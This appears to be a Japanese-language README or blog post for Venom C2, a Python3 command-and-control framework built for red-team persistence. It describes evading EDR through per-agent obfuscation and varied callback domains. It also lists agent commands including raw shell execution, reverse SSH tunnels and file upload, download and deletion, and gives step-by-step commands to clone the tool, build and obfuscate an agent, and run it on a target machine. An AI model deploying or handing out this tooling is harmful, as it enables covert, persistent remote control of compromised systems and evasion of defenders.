
Venom C2は、レッドチームの永続化を目的とした、依存関係のないPython3製のCommand & Controlフレームワークです。

Venom C2 は、パッケージをインストールせずにシステム上で実行できるように構築された、レッドチームの永続化のための依存関係なしの Python3 コマンド&コントロールフレームワークです。これは、Flask チームサーバー、Electron オペレーター GUI、および設定可能な AES 暗号化 JSON メッセージを使用して HTTP/HTTPS 経由で通信する単一ファイルの Python エージェントで構成されています。これを使用して、コマンドの実行、ファイルの管理、アクセスの維持、侵害されたシステムからの SSH リバーストンネルの作成を行います。
ネットワーク権限を昇格する過程で、私たちは風変わりなディストリビューションやアーキテクチャを実行している多くの本番システムにたどり着きました。永続化を仕掛けたいと考えましたが、私たちが持っているツールやテクニックの武器庫は機能しませんでした。さらに、一部のターゲットシステムでは EDR が実行されていました。
これらは本番システムだったため、パッケージをインストールしたくありませんでした。依存関係なしで実行できる C2 エージェントが必要でした。システムには Python3 がインストールされていたため、私はエンゲージメントの途中で Venom C2 を作成しました。それは、依存関係なしでそのまま動作する Python3 C2 エージェントです。
既製の C2 エージェントを使用したくなかったのは、ブルーチームによる検知につながるリスクがあったからです。 現代の EDR をバイパスするには、独自のコードが鍵となります。
システムが多かったため、エージェントごとに独自の難読化、命名、ファイルシステム上の配置、異なるネットワークコールバックドメイン、および独自のネットワークパスリクエストを自動化しました。

息子がスパイダーマンのヴィランであるヴェノムを大好きなので、Venom と名付けました。さらに、Python はヘビであり、かっこいいヘビは毒(venom)を持っているので、ぴったりだと感じました。
今後はありません。
これは、エンゲージメントの途中で行った一回限りの C2 プロジェクトに過ぎません。ターゲット環境で安定して信頼性が高くなるまでには約2日の開発が必要でした。それは役割を果たし、エンゲージメントの残り6週間、ネットワーク内での永続アクセスを提供しました。このプロジェクトを今後も開発・使用する予定はないため、公開するのに良い候補だと考えました。
そうしなければ、devNULL... にただ消えていくだけだったでしょう。


[11-04-2025 11:31 AM MST] admin help
help : Display this help menu
ls : List directory contents
pwd : Show current working directory
cd : Change directory
cat : Display file contents
mv : Move/rename files or directories
cp : Copy files or directories
mkdir : Create directory
rmdir : Remove empty directory
write : Write content to file
chmod : Change file permissions
rm : Remove (delete) files
shell : Execute raw shell command
sleep : Make agent sleep with optional jitter
sshrev : Create reverse SSH tunnel
kill : Terminate agent process
upload : Upload a file from your local operator box to the remote agent box
download : Download a file from remote agent box to local operator box
git clone https://github.com/boku7/venom
cd venom
pip3 install -r server/requirements.txt
cd server
python3 server.py --help
python3 server.py
python3 server.py --adduser <USERNAME> <PASSWORD>ワークステーション (サーバーではない) でクライアント UI を起動します。クライアントはサーバーに到達できる必要があります。
cd ../client
npm install
npm run start
クライアントを開き、[Config] に移動してサーバーの認証情報を入力します。
サーバーのクライアント API ベースパスは /api/ です。/api/ を一般公開しないでください。信頼できるクライアントだけが到達できるように、VPN または厳格なファイアウォール/リバースプロキシルールを使用してください。
server ディレクトリから:
python3 agent_create.py -H <server_host> -P <server_port> [-http]
server ディレクトリから:
python3 agent_obfuscate.py agents/<generated_agent_file>.py
制御したいターゲットコンピューター上で実行します。
python3 /Users/bobby/venom/server/obfuscate/output/obfuscated_agent_20251104_110902.py